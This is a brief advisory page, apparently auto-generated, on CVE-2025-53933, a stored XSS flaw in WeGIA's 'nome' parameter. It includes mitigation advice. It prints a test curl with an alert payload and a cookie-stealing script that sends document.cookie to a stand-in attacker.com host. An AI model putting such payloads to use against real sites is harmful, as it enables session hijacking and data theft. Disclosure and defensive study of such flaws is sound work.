Listen to this Post
How the CVE Works
The CVE-2025-53933 vulnerability exists in WeGIA versions before 3.4.5 due to improper input sanitization in the `adicionar_enfermidade.php` endpoint. Attackers can inject malicious JavaScript payloads into the `nome` parameter, which is stored in the database. When an administrator or other privileged user accesses the affected page, the script executes automatically in their browser session. This allows attackers to steal session cookies, redirect users, or perform actions on their behalf. The vulnerability has a CVSS 4.0 score of 6.4 (Medium), with high impacts on confidentiality and integrity.
DailyCVE Form
Platform: WeGIA
Version: <3.4.5
Vulnerability: Stored XSS
Severity: Medium
Date: 07/25/2025
Prediction: Patch expected by 08/10/2025
What Undercode Say
Analytics:
curl -X GET "https://example.com/adicionar_enfermidade.php?nome=<script>alert(1)</script>" grep -r "nome" /var/www/wegia/
How Exploit:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Protection from this CVE:
- Update to WeGIA 3.4.5
- Sanitize `nome` input
- Implement CSP headers
Impact:
- Session hijacking
- Unauthorized actions
- Data theft
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
